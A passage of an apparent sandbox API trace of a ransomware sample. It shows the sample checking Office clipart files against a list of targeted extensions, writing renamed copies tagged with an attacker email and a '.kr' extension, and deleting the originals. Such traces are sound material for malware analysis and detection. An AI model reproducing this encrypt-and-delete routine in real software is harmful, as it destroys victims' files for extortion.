(lpString=".zip") returned 4 [0186.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.689] lstrlenW (lpString=".rar") returned 4 [0186.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.689] lstrlenW (lpString=".bz2") returned 4 [0186.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.689] lstrlenW (lpString=".7z") returned 3 [0186.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.689] lstrlenW (lpString=".dbf") returned 4 [0186.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.689] lstrlenW (lpString=".1cd") returned 4 [0186.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.689] lstrlenW (lpString=".jpg") returned 4 [0186.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.690] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.690] lstrlenW (lpString="DD01140_.WMF") returned 12 [0186.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.690] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3616) returned 1 [0186.690] CloseHandle (hObject=0x520) returned 1 [0186.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0186.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.691] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.691] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0186.692] GetLastError () returned 0x0 [0186.692] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xe20, lpOverlapped=0x0) returned 1 [0187.151] WriteFile (in: hFile=0x500, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xe30, lpOverlapped=0x0) returned 1 [0187.152] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.152] WriteFile (in: hFile=0x500, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.152] SetEndOfFile (hFile=0x500) returned 1 [0187.152] CloseHandle (hObject=0x500) returned 1 [0187.152] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.152] SetEndOfFile (hFile=0x520) returned 1 [0187.207] CloseHandle (hObject=0x520) returned 1 [0187.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0188.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.616] lstrlenW (lpString=".doc") returned 4 [0188.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.616] lstrlenW (lpString=".docx") returned 5 [0188.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.616] lstrlenW (lpString=".pdf") returned 4 [0188.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.616] lstrlenW (lpString=".xls") returned 4 [0188.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.616] lstrlenW (lpString=".xlsx") returned 5 [0188.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.616] lstrlenW (lpString=".ppt") returned 4 [0188.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.616] lstrlenW (lpString=".zip") returned 4 [0188.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.616] lstrlenW (lpString=".rar") returned 4 [0188.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.616] lstrlenW (lpString=".bz2") returned 4 [0188.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.616] lstrlenW (lpString=".7z") returned 3 [0188.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.616] lstrlenW (lpString=".dbf") returned 4 [0188.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.616] lstrlenW (lpString=".1cd") returned 4 [0188.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.616] lstrlenW (lpString=".jpg") returned 4 [0188.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.617] lstrlenW (lpString=".doc") returned 4 [0188.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.617] lstrlenW (lpString=".docx") returned 5 [0188.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.617] lstrlenW (lpString=".pdf") returned 4 [0188.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.617] lstrlenW (lpString=".xls") returned 4 [0188.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.617] lstrlenW (lpString=".xlsx") returned 5 [0188.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.617] lstrlenW (lpString=".ppt") returned 4 [0188.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.617] lstrlenW (lpString=".zip") returned 4 [0188.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.617] lstrlenW (lpString=".rar") returned 4 [0188.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.617] lstrlenW (lpString=".bz2") returned 4 [0188.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.617] lstrlenW (lpString=".7z") returned 3 [0188.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.617] lstrlenW (lpString=".dbf") returned 4 [0188.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.617] lstrlenW (lpString=".1cd") returned 4 [0188.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 68 [0188.617] lstrlenW (lpString=".jpg") returned 4 [0188.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.618] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.618] lstrlenW (lpString="DD01176_.WMF") returned 12 [0188.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0188.622] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1888) returned 1 [0188.622] CloseHandle (hObject=0x36c) returned 1 [0188.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0188.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0188.623] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.623] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0188.623] GetLastError () returned 0x0 [0188.623] ReadFile (in: hFile=0x36c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x760, lpOverlapped=0x0) returned 1 [0188.625] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x770, lpOverlapped=0x0) returned 1 [0188.626] ReadFile (in: hFile=0x36c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0188.626] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0188.626] SetEndOfFile (hFile=0x370) returned 1 [0188.626] CloseHandle (hObject=0x370) returned 1 [0188.626] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.626] SetEndOfFile (hFile=0x36c) returned 1 [0188.629] CloseHandle (hObject=0x36c) returned 1 [0188.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0188.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.630] lstrlenW (lpString=".doc") returned 4 [0188.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.630] lstrlenW (lpString=".docx") returned 5 [0188.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.630] lstrlenW (lpString=".pdf") returned 4 [0188.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.630] lstrlenW (lpString=".xls") returned 4 [0188.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.630] lstrlenW (lpString=".xlsx") returned 5 [0188.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.630] lstrlenW (lpString=".ppt") returned 4 [0188.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.630] lstrlenW (lpString=".zip") returned 4 [0188.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.630] lstrlenW (lpString=".rar") returned 4 [0188.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.630] lstrlenW (lpString=".bz2") returned 4 [0188.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.630] lstrlenW (lpString=".7z") returned 3 [0188.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.630] lstrlenW (lpString=".dbf") returned 4 [0188.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.630] lstrlenW (lpString=".1cd") returned 4 [0188.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.631] lstrlenW (lpString=".jpg") returned 4 [0188.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.631] lstrlenW (lpString=".doc") returned 4 [0188.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.631] lstrlenW (lpString=".docx") returned 5 [0188.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.631] lstrlenW (lpString=".pdf") returned 4 [0188.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.631] lstrlenW (lpString=".xls") returned 4 [0188.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.631] lstrlenW (lpString=".xlsx") returned 5 [0188.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.631] lstrlenW (lpString=".ppt") returned 4 [0188.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.631] lstrlenW (lpString=".zip") returned 4 [0188.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.631] lstrlenW (lpString=".rar") returned 4 [0188.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.631] lstrlenW (lpString=".bz2") returned 4 [0188.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.631] lstrlenW (lpString=".7z") returned 3 [0188.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.631] lstrlenW (lpString=".dbf") returned 4 [0188.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.631] lstrlenW (lpString=".1cd") returned 4 [0188.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0188.632] lstrlenW (lpString=".jpg") returned 4 [0188.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.632] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0188.632] lstrlenW (lpString="DD01178_.WMF") returned 12 [0188.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0188.633] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3796) returned 1 [0188.633] CloseHandle (hObject=0x36c) returned 1 [0188.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0188.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0188.633] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.633] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0188.634] GetLastError () returned 0x0 [0188.634] ReadFile (in: hFile=0x36c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xed4, lpOverlapped=0x0) returned 1 [0188.635] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xee0, lpOverlapped=0x0) returned 1 [0188.636] ReadFile (in: hFile=0x36c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0188.636] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0188.637] SetEndOfFile (hFile=0x370) returned 1 [0188.637] CloseHandle (hObject=0x370) returned 1 [0188.637] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.637] SetEndOfFile (hFile=0x36c) returned 1 [0188.639] CloseHandle (hObject=0x36c) returned 1 [0188.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0188.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.640] lstrlenW (lpString=".doc") returned 4 [0188.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.640] lstrlenW (lpString=".docx") returned 5 [0188.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.641] lstrlenW (lpString=".pdf") returned 4 [0188.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.641] lstrlenW (lpString=".xls") returned 4 [0188.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.641] lstrlenW (lpString=".xlsx") returned 5 [0188.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.641] lstrlenW (lpString=".ppt") returned 4 [0188.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.641] lstrlenW (lpString=".zip") returned 4 [0188.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.641] lstrlenW (lpString=".rar") returned 4 [0188.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.641] lstrlenW (lpString=".bz2") returned 4 [0188.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.641] lstrlenW (lpString=".7z") returned 3 [0188.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.641] lstrlenW (lpString=".dbf") returned 4 [0188.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.641] lstrlenW (lpString=".1cd") returned 4 [0188.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.641] lstrlenW (lpString=".jpg") returned 4 [0188.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.641] lstrlenW (lpString=".doc") returned 4 [0188.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.641] lstrlenW (lpString=".docx") returned 5 [0188.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.642] lstrlenW (lpString=".pdf") returned 4 [0188.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.642] lstrlenW (lpString=".xls") returned 4 [0188.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.642] lstrlenW (lpString=".xlsx") returned 5 [0188.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.642] lstrlenW (lpString=".ppt") returned 4 [0188.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0188.642] lstrlenW (lpString=".zip") returned 4 [0188.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.642] lstrlenW (lpString=".rar") returned 4 [0188.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.642] lstrlenW (lpString=".bz2") returned 4 [0188.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.642] lstrlenW (lpString=".7z") returned 3 [0188.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.642] lstrlenW 